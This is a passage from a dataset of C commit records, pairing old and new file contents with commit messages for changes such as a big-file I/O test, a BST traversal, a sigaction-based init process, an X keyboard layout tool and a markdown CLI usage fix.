SET_STATIC opcode to enum","message":"Add SET_STATIC opcode to enum\n","lang":"C","license":"mit","repos":"ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang"}
{"commit":"a63caaab3d00381da13c06c6efcc6c740acd0023","old_file":"tests\/bigfile2.c","new_file":"tests\/bigfile2.c","old_contents":"","new_contents":"\/*\n * 06\/21\/2016: bigfile2.c\n *\/\n#include <stdio.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nmain(int argc, char *argv[])\n{\n\tlong val;\n\tchar *buf, *filename;\n\tint error = 0, readonly = 0;\n\tsize_t i, j, c, fd, seed, size, bsize, nblocks;\n\n\tbsize = 5678;\n\tnblocks = 12345;\n\tseed = getpid();\n\twhile ((c = getopt(argc, argv, \"b:s:n:r\")) != -1) {\n\t\tswitch (c) {\n\t\t\tcase 'b':\n\t\t\t\tbsize = atoi(optarg);\n\t\t\t\tbreak;\n\t\t\tcase 's':\n\t\t\t\tseed = atoi(optarg);\n\t\t\t\tbreak;\n                        case 'n':\n\t\t\t\tnblocks = atoi(optarg);\n\t\t\t\tbreak;\n                        case 'r':\n\t\t\t\treadonly = 1;\n\t\t\t\tbreak;\n\t\t}   \n\t}\n\tif (optind > argc - 1) {\n\t\tprintf(\"Usage: a.out [-s seed] [-b bsize] [-n nblocks ] filename\\n\");\n\t\texit(0);\n\t}   \n\tfilename = argv[optind];\n\tif (readonly)\n        \tfd = open(filename, O_RDONLY);\n\telse\n        \tfd = open(filename, O_RDWR | O_CREAT | O_TRUNC, 0600);\n\tif (fd < 0) {\n\t\tprintf(\"Fail to open file, errno = %d\\n\", errno);\n\t\texit(0);\n\t}\n\n\tbuf = malloc(bsize);\n\tif (buf == NULL) {\n\t\tprintf(\"Fail to allocate memory, errno = %d\\n\", errno);\n\t\texit(0);\n\t}\n\tsrandom(seed);\n\tprintf(\"Seed = %d, file size = %ld\\n\", seed, nblocks * bsize);\n\tfor (i = 0; i < nblocks; i++) {\n\n\t\tif (readonly)\n\t\t\tsize = read(fd, buf, bsize);\n\t\telse {\n\t\t\tfor (j = 0; j < bsize; j++) {\n\t\t\t\tval = random();\n\t\t\t\t\/\/printf(\"%lx\\n\", val);\n\t\t\t\tbuf[j] = val & 0xff;\n\t\t\t}\n\t\t\tsize = write(fd, buf, bsize);\n\t\t}\n\t\tif (size != bsize) {\n\t\t\tprintf(\"Fail to %s file, errno = %d\\n\",\n\t\t\t\treadonly ? \"read\" : \"write\", errno);\n\t\t\tbreak;\n\t\t}\n\t\tif (!readonly)\n\t\t\tcontinue;\n\n\t\tfor (j = 0; j < bsize; j++) {\n\t\t\tif (buf[j] != random() & 0xff) {\n\t\t\t\tprintf(\"Unexpected data at offset = %ld\\n\",\n\t\t\t\t\ti * nblocks * j);\n\t\t\t\terror++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (error > 20)\n\t\t\tbreak;\n\t}\n        close(fd);\n}\n","subject":"Add a big file test","message":"Add a big file test\n","lang":"C","license":"isc","repos":"pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable"}
{"commit":"5344e1aff866658297912428255b7609d65d2cc0","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc < 2)\n    {\n        printf(\"ERROR. Please supply at least one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        int F = 0;\n\n        for(F = 1; F < argc; F++)\n        {\n            \/\/ Load the file.\n            FILE * fh = fopen(argv[F], \"r\");\n            \n            \/\/ Instance the parser.\n            verilog_parser parser = verilog_file_parse(fh);\n\n            \/\/ Parse the file and store the result.\n            int result = verilog_parse_buffer(parser);\n\n            verilog_free_parser(parser);\n            fclose(fh);\n            \n            if(result == 0)\n            {\n                printf(\"Parse successful for %s\\n\",argv[F]);\n            }\n            else\n            {\n                printf(\"Parse failed for %s\\n\",argv[F]);\n            }\n        }\n    }\n    return 0;\n}\n","new_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc < 2)\n    {\n        printf(\"ERROR. Please supply at least one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        int F = 0;\n\n        for(F = 1; F < argc; F++)\n        {\n            printf(\"%s\", argv[F]);\n            fflush(stdout);\n\n            \/\/ Load the file.\n            FILE * fh = fopen(argv[F], \"r\");\n            \n            \/\/ Instance the parser.\n            verilog_parser parser = verilog_file_parse(fh);\n\n            \/\/ Parse the file and store the result.\n            int result = verilog_parse_buffer(parser);\n\n            verilog_free_parser(parser);\n            fclose(fh);\n            \n            if(result == 0)\n            {\n                printf(\" - Parse successful\\n\");\n            }\n            else\n            {\n                printf(\" - Parse failed for\\n\");\n            }\n        }\n    }\n    return 0;\n}\n","subject":"Print name of test before parsing it - easier to identify segfaulting tests. On branch master Your branch is up-to-date with 'github\/master'.","message":"Print name of test before parsing it - easier to identify segfaulting tests.\n On branch master\n Your branch is up-to-date with 'github\/master'.\n\n Changes to be committed:\n\tmodified:   src\/main.c\n\n Changes not staged for commit:\n\tmodified:   src\/verilog_ast.c\n\tmodified:   src\/verilog_ast.h\n\tmodified:   src\/verilog_parser.y\n","lang":"C","license":"mit","repos":"ben-marshall\/verilog-parser,ben-marshall\/verilog-parser,ben-marshall\/verilog-parser"}
{"commit":"7170e354b9999cd3d19459f3b902287b6b329e6f","old_file":"test\/CodeGen\/branch-on-bool.c","new_file":"test\/CodeGen\/branch-on-bool.c","old_contents":"","new_contents":"\/\/ RUN: %clang %s -O0 -emit-llvm -S -o - | FileCheck %s\n\nvoid foo();\nvoid bar();\n\nvoid fold_if(int a, int b) {\n  \/\/ CHECK: define {{.*}} @fold_if(\n  \/\/ CHECK-NOT: = phi\n  \/\/ CHECK: }\n  if (a && b)\n    foo();\n  else\n    bar();\n}\n\nvoid fold_for(int a, int b) {\n  \/\/ CHECK: define {{.*}} @fold_for(\n  \/\/ CHECK-NOT: = phi\n  \/\/ CHECK: }\n  for (int i = 0; a && i < b; ++i) foo();\n  for (int i = 0; a || i < b; ++i) bar();\n}\n","subject":"Test that simple expressions are simplified at -O0","message":"CodeGen: Test that simple expressions are simplified at -O0\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@193995 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"78a7a88da94ee3e6972485ceca00be8519212025","old_file":"mt.h","new_file":"mt.h","old_contents":"#ifndef _MATH_MT_H_\n#define _MATH_MT_H_\n\n#if defined(_MSC_VER) && (_MSC_VER <= 1300)\ntypedef unsigned __int32 uint32_t;\n#elif defined(__linux__) || defined(__GLIBC__) || defined(__WIN32__)\n#include <stdint.h>\n#elif defined(__osf__)\n#include <inttypes.h>\n#else\n#include <sys\/types.h>\n#endif\n\nenum { N = 624, M = 397 };\n\nstruct mt {\n    uint32_t mt[N];\n    int mti;\n};\n\nstruct mt *mt_setup(uint32_t seed);\nstruct mt *mt_setup_array(uint32_t *array, int n);\nvoid mt_free(struct mt *self);\ndouble mt_genrand(struct mt *self);\n\n#endif\n","new_contents":"#ifndef _MATH_MT_H_\n#define _MATH_MT_H_\n\n#if defined(_MSC_VER) && (_MSC_VER <= 1300)\ntypedef unsigned __int32 uint32_t;\n#elif defined(__linux__) || defined(__GLIBC__) || defined(__WIN32__) || defined(__APPLE__)\n#include <stdint.h>\n#elif defined(__osf__)\n#include <inttypes.h>\n#else\n#include <sys\/types.h>\n#endif\n\nenum { N = 624, M = 397 };\n\nstruct mt {\n    uint32_t mt[N];\n    int mti;\n};\n\nstruct mt *mt_setup(uint32_t seed);\nstruct mt *mt_setup_array(uint32_t *array, int n);\nvoid mt_free(struct mt *self);\ndouble mt_genrand(struct mt *self);\n\n#endif\n","subject":"Fix OS X build failure","message":"Fix OS X build failure\n","lang":"C","license":"bsd-3-clause","repos":"amenonsen\/Math-Random-MT,amenonsen\/Math-Random-MT"}
{"commit":"36a0988c4468386c7d52d9c1ff4cc09b615f4bf9","old_file":"bst.c","new_file":"bst.c","old_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\nBSTNode* BSTNode_Create(void* k)\n{\n\tBSTNode* n = (BSTNode* )malloc(sizeof(BSTNode));\n\tn->left = NULL;\n\tn->right = NULL;\n\tn->p = NULL;\n\tn->k = k;\n}\n\nvoid BST_Inorder_Tree_Walk(BSTNode* n, void (f)(void*))\n{\n\tif (n != NULL)\n\t{\n\t\tBST_Inorder_Tree_Walk(n->left, f);\n\t\tf(n->k);\n\t\tBST_Inorder_Tree_Walk(n->right, f);\n\t}\n}\n\n","new_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\nBSTNode* BSTNode_Create(void* k)\n{\n\tBSTNode* n = (BSTNode* )malloc(sizeof(BSTNode));\n\tn->left = NULL;\n\tn->right = NULL;\n\tn->p = NULL;\n\tn->k = k;\n}\n\nvoid BST_Inorder_Tree_Walk(BSTNode* n, void (f)(void*))\n{\n\tif (n != NULL)\n\t{\n\t\tBST_Inorder_Tree_Walk(n->left, f);\n\t\tf(n->k);\n\t\tBST_Inorder_Tree_Walk(n->right, f);\n\t}\n}\n\nvoid BST_Preorder_Tree_Walk(BSTNode* n, void (f)(void*))\n{\n\tif (n != NULL)\n\t{\n\t\tf(n->k);\n\t\tBST_Preorder_Tree_Walk(n->left, f);\n\t\tBST_Preorder_Tree_Walk(n->right, f);\n\t}\n}\n\n","subject":"Add BST preorder traversal function implementation","message":"Add BST preorder traversal function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"287e9adfce378bf1beba3406d09fed0a8b72c433","old_file":"lib\/msun\/src\/w_cabs.c","new_file":"lib\/msun\/src\/w_cabs.c","old_contents":"\/*\n * cabs() wrapper for hypot().\n * \n * Written by J.T. Conklin, <jtc@wimsey.com>\n * Placed into the Public Domain, 1994.\n *\/\n\n#include <math.h>\n\nstruct complex {\n\tdouble x;\n\tdouble y;\n};\n\ndouble\ncabs(z)\n\tstruct complex z;\n{\n\treturn hypot(z.x, z.y);\n}\n","new_contents":"\/*\n * cabs() wrapper for hypot().\n * \n * Written by J.T. Conklin, <jtc@wimsey.com>\n * Placed into the Public Domain, 1994.\n *\/\n\n#include <math.h>\n\nstruct complex {\n\tdouble x;\n\tdouble y;\n};\n\ndouble\ncabs(z)\n\tstruct complex z;\n{\n\treturn hypot(z.x, z.y);\n}\n\ndouble\nz_abs(z)\n\tstruct complex *z;\n{\n\treturn hypot(z->x, z->y);\n}\n","subject":"Add missing z_abs. In BSD tradition this is in libm.a.","message":"Add missing z_abs. In BSD tradition this is in libm.a.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"2ceb17a890c54dd67c0078879b2aba9e726ec2c3","old_file":"lambda\/ol-init.c","new_file":"lambda\/ol-init.c","old_contents":"#include <unistd.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nchar **params;\n\n\/\/ double fork to avoid zombies and exec the python server\nvoid signal_handler() {\n\tif (fork() == 0) {\n\t\texecv(params[0], params);\n\t}\n\n\treturn;\n}\n\nint main(int argc, char *argv[]) {\n\tint k;\n\n\tparams = (char**)malloc((3+argc-1)*sizeof(char*));\n\tparams[0] = \"\/usr\/bin\/python\";\n\tparams[1] = \"\/server.py\";\n\tfor (k = 1; k < argc; k++) {\n\t\tparams[k+1] = argv[k];\n\t}\n\tparams[argc+1] = NULL;\n\n\tsignal(SIGURG, signal_handler);\n\twhile (1) {\n\t\tpause(); \/\/ sleep forever, we're init for the ns\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include <unistd.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nchar **params;\n\n\/*\n * Launch the lambda server.\n *\/\nvoid signal_handler() {\n\tif (fork() == 0) {\n\t\texecv(params[0], params);\n\t}\n\n\treturn;\n}\n\n\/*\n * Install the handler and block all other signals while handling\n * the signal. Reset the signal handler after caught to default.\n *\/\nvoid install_handler() {\n\tstruct sigaction setup_action;\n\tsigset_t block_mask;\n\n\tsigfillset(&block_mask);\n\tsetup_action.sa_handler = signal_handler;\n\tsetup_action.sa_mask = block_mask;\n\tsetup_action.sa_flags = SA_RESETHAND;\n\tsigaction(SIGURG, &setup_action, NULL);\n}\n\nint main(int argc, char *argv[]) {\n\tint k;\n\n\tparams = (char**)malloc((3+argc-1)*sizeof(char*));\n\tparams[0] = \"\/usr\/bin\/python\";\n\tparams[1] = \"\/server.py\";\n\tfor (k = 1; k < argc; k++) {\n\t\tparams[k+1] = argv[k];\n\t}\n\tparams[argc+1] = NULL;\n\n\tinstall_handler();\n\twhile (1) {\n\t\tpause(); \/\/ sleep forever, we're init for the ns\n\t}\n\n\treturn 0;\n}\n","subject":"Use sigaction instead of signal","message":"Use sigaction instead of signal\n\nSignal is not portable. It is better to use sigaction so we can also\nprevent other signals from interrupting us just in case.\n","lang":"C","license":"apache-2.0","repos":"open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda,open-lambda\/open-lambda"}
{"commit":"47ad5dcd384900b68596fa0cd93e8193d1af16fb","old_file":"blocks\/mdaqled.h","new_file":"blocks\/mdaqled.h","old_contents":"#ifndef __MDAQLED_H\n#define __MDAQLED_H\n\n#ifndef MATLAB_MEX_FILE\n#include \"gpio.h\"\n#endif\n\nvoid mdaqled_init(void);\nvoid mdaqled_set(unsigned char led, unsigned char state);\n\n#endif\n","new_contents":"#ifndef __MDAQLED_H\n#define __MDAQLED_H\n\n#if (!defined MATLAB_MEX_FILE) && (!defined MDL_REF_SIM_TGT)\n#include \"gpio.h\"\n#endif\n\nvoid mdaqled_init(void);\nvoid mdaqled_set(unsigned char led, unsigned char state);\n\n#endif\n","subject":"Make LED block compatible with PIL in model reference","message":"Make LED block compatible with PIL in model reference\n","lang":"C","license":"bsd-2-clause","repos":"kyak\/microdaq_ert,kyak\/microdaq_ert,kyak\/microdaq_ert"}
{"commit":"a43d894adb388b3da6c3dc2ab467b022e4d52d05","old_file":"cxl.c","new_file":"cxl.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include <X11\/Xlib.h>\n#include <X11\/XKBlib.h>\n#include <X11\/extensions\/XKBrules.h>\n\nint main(int argc, char *argv[])\n{\n    Display *display = XOpenDisplay(NULL);\n    XkbEvent event;\n    XkbRF_VarDefsRec varDefs;\n    XkbStateRec state;\n    char *tmp = NULL;\n    char *groups[XkbNumKbdGroups];\n    int num_groups = 0;\n    XkbSelectEventDetails(display, XkbUseCoreKbd, XkbStateNotify, XkbGroupLockMask, XkbGroupLockMask);\n    XkbRF_GetNamesProp(display, &tmp, &varDefs);\n    groups[num_groups] = strtok(varDefs.layout, \",\");\n    printf(\"%s\\r\\n\", groups[num_groups]);\n    while(groups[num_groups])\n    {\n        num_groups++;\n        groups[num_groups] = strtok(NULL, \",\");\n    }\n    XkbGetState(display, XkbUseCoreKbd, &state);\n    while (1)\n    {\n        XNextEvent(display, &event.core);\n        printf(\"%s\\r\\n\", groups[event.state.locked_group]);\n    }\n    return XCloseDisplay(display);\n}\n\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <X11\/Xlib.h>\n#include <X11\/XKBlib.h>\n#include <X11\/extensions\/XKBrules.h>\n\n#define DELIMETER \",\"\n#define LAYOUT_FORMAT \"%s\\r\\n\"\n\nint main(int argc, char *argv[])\n{\n    int rc = EXIT_FAILURE;\n    XkbEvent event;\n    XkbRF_VarDefsRec vd;\n    XkbStateRec state;\n    char *groups[XkbNumKbdGroups];\n    unsigned char num_groups = 0;\n    char *display_name = NULL;\n    Display *display = NULL;\n    if (!(display = XOpenDisplay(display_name)))\n        goto out;\n    if (XkbSelectEventDetails(display,\n                              XkbUseCoreKbd,\n                              XkbStateNotify,\n                              XkbGroupLockMask,\n                              XkbGroupLockMask) != True)\n        goto out_close_display;\n    if (XkbRF_GetNamesProp(display, NULL, &vd) != True)\n        goto out_close_display;\n    while ((groups[num_groups] = strsep(&vd.layout, DELIMETER))) num_groups++;\n    if (XkbGetState(display, XkbUseCoreKbd, &state) == Success)\n        printf(LAYOUT_FORMAT, groups[state.locked_group]);\n    while (1)\n        if (XNextEvent(display, &event.core) == Success)\n            printf(LAYOUT_FORMAT, groups[event.state.locked_group]);\n\n    XFree(vd.model);\n    XFree(vd.layout);\n    XFree(vd.variant);\n    XFree(vd.options);\nout_close_display:\n    rc = XCloseDisplay(display);\nout:\n    return rc;\n}\n\n","subject":"Return codes of XLib functions are handled","message":"Return codes of XLib functions are handled\n\nCode formated to the K&R style.  Added program exit code.  All\nsignificant return codes for XLib functions are handled.  Free resources\nallocated by XLib. However sigterm should be handled to get this\nactually working.\n","lang":"C","license":"mit","repos":"panurg\/cxl"}
{"commit":"7f3ce6f442512362e934b8b80b86b08fe7a3b319","old_file":"ch05\/ex5.c","new_file":"ch05\/ex5.c","old_contents":"","new_contents":"\/*\n  Program that verifies that duplicated file descriptors share a file offset and\n  open file status flags.\n*\/\n\n#include <stdlib.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <assert.h>\n\nvoid exitErr(const char* msg);\n\nint main(__attribute__((unused)) int _argc, __attribute__((unused)) char **argv)\n{\n    int fd1, fd2, flagsBefore, flagsAfter;\n    off_t offsetBefore, offsetAfter, offsetFd2;\n\n    fd1 = open(\"example.txt\", O_RDONLY);\n    fd2 = dup(fd1);\n\n    flagsBefore = fcntl(fd1, F_GETFL);\n    if (flagsBefore == -1)\n        exitErr(\"fcntl\");\n\n    if (fcntl(fd2, F_SETFL, flagsBefore | O_APPEND) == -1)\n        exitErr(\"fcntl\");\n\n    flagsAfter = fcntl(fd1, F_GETFL);\n    if (flagsAfter == -1)\n        exitErr(\"fcntl\");\n\n    assert(flagsBefore != flagsAfter);\n    assert(flagsAfter & O_APPEND);\n\n    offsetBefore = lseek(fd1, 0, SEEK_CUR);\n    if (offsetBefore == -1)\n        exitErr(\"lseek\");\n\n    offsetFd2 = lseek(fd2, 10, SEEK_END);\n    if (offsetFd2 == -1)\n        exitErr(\"lseek\");\n\n    offsetAfter = lseek(fd1, 0, SEEK_CUR);\n    if (offsetAfter == -1)\n        exitErr(\"lseek\");\n\n    assert(offsetAfter != offsetBefore);\n    assert(offsetAfter == offsetFd2);\n\n    exit(EXIT_SUCCESS);\n}\n\nvoid exitErr(const char *msg)\n{\n    perror(msg);\n    exit(EXIT_FAILURE);\n}\n","subject":"Add fifth exercise from chapter 5.","message":"Add fifth exercise from chapter 5.\n","lang":"C","license":"mit","repos":"carlosgaldino\/lpi"}
{"commit":"30d230d81df0a41cff6841dafa96b10bf00b3251","old_file":"obexd\/plugins\/ebook.c","new_file":"obexd\/plugins\/ebook.c","old_contents":"","new_contents":"\/*\n *\n *  OBEX Server\n *\n *  Copyright (C) 2007-2008  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <plugin.h>\n#include <logging.h>\n\n#include <libebook\/e-book.h>\n\nstatic int ebook_init(void)\n{\n\tDBG(\"\");\n\n\treturn 0;\n}\n\nstatic void ebook_exit(void)\n{\n\tDBG(\"\");\n}\n\nOBEX_PLUGIN_DEFINE(\"ebook\", ebook_init, ebook_exit)\n","subject":"Add skeleton for EBook plugin","message":"obexd: Add skeleton for EBook plugin\n","lang":"C","license":"lgpl-2.1","repos":"mapfau\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,mapfau\/bluez,ComputeCycles\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,silent-snowman\/bluez,mapfau\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez"}
{"commit":"29078e0cee0384fd8f8863257491ef3cfdea8dfb","old_file":"src\/iterator.h","new_file":"src\/iterator.h","old_contents":"#ifndef ITERATOR_H\n#define ITERATOR_H\n\nstruct iterator {\n    size_t index;\n    void *iterable;\n    void *current;\n    void *(*next)(struct iterator *this);\n    void (*destroy)(struct iterator *this);\n};\n\nstruct iterator *iterator_create(void *iterable, void *(*next)(struct iterator *));\n\nvoid iterator_destroy(struct iterator *this);\n\n#endif\n","new_contents":"#ifndef ITERATOR_H\n#define ITERATOR_H\n\n#include <stdlib.h>\n\nstruct iterator {\n    size_t index;\n    void *iterable;\n    void *current;\n    void *(*next)(struct iterator *this);\n    void (*destroy)(struct iterator *this);\n};\n\nstruct iterator *iterator_create(void *iterable, void *(*next)(struct iterator *));\n\nvoid iterator_destroy(struct iterator *this);\n\n#endif\n","subject":"Include stdlib to get size_t.","message":"Include stdlib to get size_t.\n","lang":"C","license":"mit","repos":"dgraham\/libds,dgraham\/libds"}
{"commit":"956c6edde28a3b60981059caf7a8bad137f76336","old_file":"src\/condor_includes\/carmipro.h","new_file":"src\/condor_includes\/carmipro.h","old_contents":"#if !defined(_CARMIPRO_H)\n#define _CARMIPRO_H\n#include \"pvmsdpro.h\"\n\n#define CARMI_FIRST\t(SM_LAST+1)\n\n#define CARMI_RESPAWN (CARMI_FIRST+1)\n#define CARMI_CHKPT   (CARMI_FIRST+2)\n#define CARMI_ADDHOST (CARMI_FIRST+3)\n#endif\n","new_contents":"#if !defined(_CARMIPRO_H)\n#define _CARMIPRO_H\n#include \"pvmsdpro.h\"\n\n#define CARMI_FIRST\t(SM_LAST+1)\n\n#define CARMI_RESPAWN (CARMI_FIRST+1)\n#define CARMI_CHKPT   (CARMI_FIRST+2)\n#define CARMI_ADDHOST (CARMI_FIRST+3)\n#define CARMI_SPAWN\t  (CARMI_FIRST+4)\n#define CARMI_CKPT_ON_VACATE (CARMI_FIRST + 5)\n#define CARMI_LAST    (CARMI_CKPT_ON_VACATE)\n\n#define CO_CHECK_FIRST (CARMI_LAST+1)\n#define CO_CHECK_SIMPLE_CKPT_TASK_TO_FILE (CO_CHECK_FIRST + 1)\n#define CO_CHECK_RESTART_TASK_FROM_FILE (CO_CHECK_FIRST + 2)\n#define CO_CHECK_SIMPLE_CKPT_TASK (CO_CHECK_FIRST + 3)\n#define CO_CHECK_RESTART_TASK (CO_CHECK_FIRST + 4)\n#define CO_CHECK_SIMPLE_MIGRATE_TASK_TO_HOST (CO_CHECK_FIRST + 5)\n#define CO_CHECK_SIMPLE_MIGRATE_TASK (CO_CHECK_FIRST + 6)\n#endif\n","subject":"Define a whole bunch of new message tags for checkpoint and migration functions.","message":"Define a whole bunch of new message tags for checkpoint and migration\nfunctions.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/condor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,htcondor\/htcondor"}
{"commit":"c831a822bf7a6a3b08ab8584a6db8d6cad567987","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <mkdio.h>\n\n\nfloat\nmain(int argc, char **argv)\n{\n    int opt;\n    int debug = 0;\n    char *ofile = 0;\n    extern char version[];\n\n    opterr = 1;\n\n    while ( (opt=getopt(argc, argv, \"do:V\")) != EOF ) {\n\tswitch (opt) {\n\tcase 'd':   debug = 1;\n\t\t    break;\n\tcase 'V':   printf(\"markdown %s\\n\", version);\n\t\t    exit(0);\n\tcase 'o':   if ( ofile ) {\n\t\t\tfprintf(stderr, \"Too many -o options\\n\");\n\t\t\texit(1);\n\t\t    }\n\t\t    if ( !freopen(ofile = optarg, \"w\", stdout) ) {\n\t\t\tperror(ofile);\n\t\t\texit(1);\n\t\t    }\n\t\t    break;\n\tdefault:    fprintf(stderr, \"usage: markdown [-V] [-o file] [file]\\n\");\n\t\t    exit(1);\n\t}\n    }\n    argc -= optind;\n    argv += optind;\n\n    if ( argc && !freopen(argv[0], \"r\", stdin) ) {\n\tperror(argv[0]);\n\texit(1);\n    }\n    if ( debug )\n\tmkd_dump(mkd_in(stdin), stdout, 0);\n    else\n\tmarkdown(mkd_in(stdin), stdout, 0);\n    exit(0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <mkdio.h>\n\n\nfloat\nmain(int argc, char **argv)\n{\n    int opt;\n    int debug = 0;\n    char *ofile = 0;\n    extern char version[];\n\n    opterr = 1;\n\n    while ( (opt=getopt(argc, argv, \"do:V\")) != EOF ) {\n\tswitch (opt) {\n\tcase 'd':   debug = 1;\n\t\t    break;\n\tcase 'V':   printf(\"markdown %s\\n\", version);\n\t\t    exit(0);\n\tcase 'o':   if ( ofile ) {\n\t\t\tfprintf(stderr, \"Too many -o options\\n\");\n\t\t\texit(1);\n\t\t    }\n\t\t    if ( !freopen(ofile = optarg, \"w\", stdout) ) {\n\t\t\tperror(ofile);\n\t\t\texit(1);\n\t\t    }\n\t\t    break;\n\tdefault:    fprintf(stderr, \"usage: markdown [-dV] [-o file] [file]\\n\");\n\t\t    exit(1);\n\t}\n    }\n    argc -= optind;\n    argv += optind;\n\n    if ( argc && !freopen(argv[0], \"r\", stdin) ) {\n\tperror(argv[0]);\n\texit(1);\n    }\n    if ( debug )\n\tmkd_dump(mkd_in(stdin), stdout, 0);\n    else\n\tmarkdown(mkd_in(stdin), stdout, 0);\n    exit(0);\n}\n","subject":"Put the -d option into the usage: message","message":"Put the -d option into the usage: 